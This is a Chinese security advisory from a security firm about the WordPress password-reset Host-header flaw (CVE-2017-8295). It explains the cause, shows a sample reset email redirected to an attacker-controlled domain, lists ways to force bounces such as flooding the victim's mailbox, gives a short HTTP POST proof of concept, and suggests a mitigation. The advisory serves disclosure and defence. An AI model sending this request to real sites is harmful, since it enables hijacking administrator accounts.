【漏洞预警】Wordpress 全版本密码重置0day漏洞

匿名者  840天前

北京时间2017年5月4日,Wordpress 被曝出密码重置0day漏洞。该漏洞允许远程攻击者获取重置密码链接地址,从而修改任意用户密码,修改管理员用户名密码,进而提升系统权限,漏洞危害程序极高。由于使用wordpress网站众多,请使用该系统提早做好防范措施,减少损失和不利影响。

WordPress是一种使用PHP语言开发,全球流行的一款CMS系统,根据白帽汇FOFA系统统计,目前,全球共有629万个Wordpress构建的网站,美国共有312万,中国地区有5万。是目前全球使用量最多的一款CMS系统。

1111.png

2222.png

WordPress 全球分布情况(仅为分布情况,非漏洞影响情况) 

3333.png

4444.png

WordPress 中国分布情况(仅为分布情况,非漏洞影响情况)

漏洞原理与危害

Wordpress系统在重置密码时会向用户发送一封重置密码邮件。在邮件创建头之前,会调用PHP mail()函数。其中在“wp-includes/pluggable.php” 文件第21行至29行处,我们看到,Wordpress使用SERVER_NAME变量获取服务器的主机名,通过该变量最终赋值给$sitename变量,最终经过解析会赋值给$frommail变量,服务器会创建一个From或Return-Path地址(发件人或回退邮箱地址)到邮件头中,这两个地址则是由$frommail变量的值来控制。在Apache默认设置中主机名由客户端发送的HTTP_HOST HTTP头中。攻击者通过伪造HTTP_HOST来改变From或Return-Path地址(发件人或回退邮箱地址)。当目标邮箱因为某种原因退信时,会退信到我们伪造的发件人中。攻击者即可获取重置密码链接的内容。

对于攻击者能修改From或Return-Path(发件人邮箱)的哪个地址取决于服务器环境,这里可以阅读http://php.net/manual/en/function.mail.php

经过白帽汇安全研究人员调试,我们可以看到From或Return-Path地址(发件人邮箱地址)被修改为了我们的邮箱域地址了。

8888.png

最终我们可以看到生成的邮件头和邮件内容大致如下:

Subject: [CompanyX WP] Password Reset
Return-Path: <wordpress@attackers-mxserver.com>
From: WordPress <wordpress@attackers-mxserver.com>
Message-ID: <e6fd614c5dd8a1c604df2a732eb7b016@attackers-mxserver.com>
X-Priority: 3
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

Someone requested that the password be reset for the following account:

http://companyX-wp/wp/wordpress/

Username: admin

If this was a mistake, just ignore this email and nothing will happen.

To reset your password, visit the following address:

<http://companyX-wp/wp/wordpress/wp-login.php?action=rp&key=AceiMFmkMR4fsmwxIZtZ&login=admin>

成功利用该漏洞需要目标网站Apache做为Web服务器。需要知道对方的邮箱地址,并且收件方邮件退信才可以成功获取重置密码邮件。这里的攻击场景有如下几个思路,还有更多利用场景有待挖掘。

  • 攻击者可以通过获取目标用户邮箱地址,可以对目标用户做DoS攻击(例如发送多个大文件导致用户空间占满,或者攻击DNS服务器。)从而使对方邮箱拒绝接收收件,从而将重置密码邮件发送到攻击者邮箱。
  • 一些自动回复可能会附加一份发送邮件的内容回复到收件人。
  • 发送多个密码重置邮件迫使用户回复信息,从而将重置密码邮件发送到攻击者邮箱。

漏洞影响范围

暂无

漏洞POC

POST /wp/wordpress/wp-login.php?action=lostpassword HTTP/1.1
Host: 攻击者邮件服务器地址,如baimaohui.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 56

user_login=admin&redirect_to=&wp-submit=Get+New+Password

CVE编号

CVE-2017-8295

修复建议

1、目前官方没有补丁,可以用临时方案代替。用户可以启用Apache的UseCanonicalName配置选项来防止漏洞。 
2、等待官方更新补丁。

白帽汇会持续对该漏洞进行跟进。后续可以持续关注Nosec平台。

参考

[1] https://exploitbox.io/vuln/WordPress-Exploit-4-7-Unauth-Password-Reset-0day-CVE-2017-8295.html(需翻墙)

北京白帽汇科技有限公司是一家专注于安全大数据、企业威胁情报,为企业提供尖端安全产品和服务的一家高科技互联网企业。 公司产品包括:EWSIS-企业web安全监控系统、ETSS-企业威胁感知系统、ANDERSEN-企业威胁感知平台(SAAS)、NOSEC-大数据安全协作平台。 可为企业提供:网站安全监控、企业资产收集、漏洞扫描、安全日志分析、员工邮箱泄露监测、企业威胁情报、应急响应、安全代维等解决方案和服务。

最新评论

昵称
邮箱
提交评论

友情链接:FOFA FOEYE BCSEC BAIMAOHUI 安全客 i春秋

nosec.org All Rights Reserved 京ICP备15042518号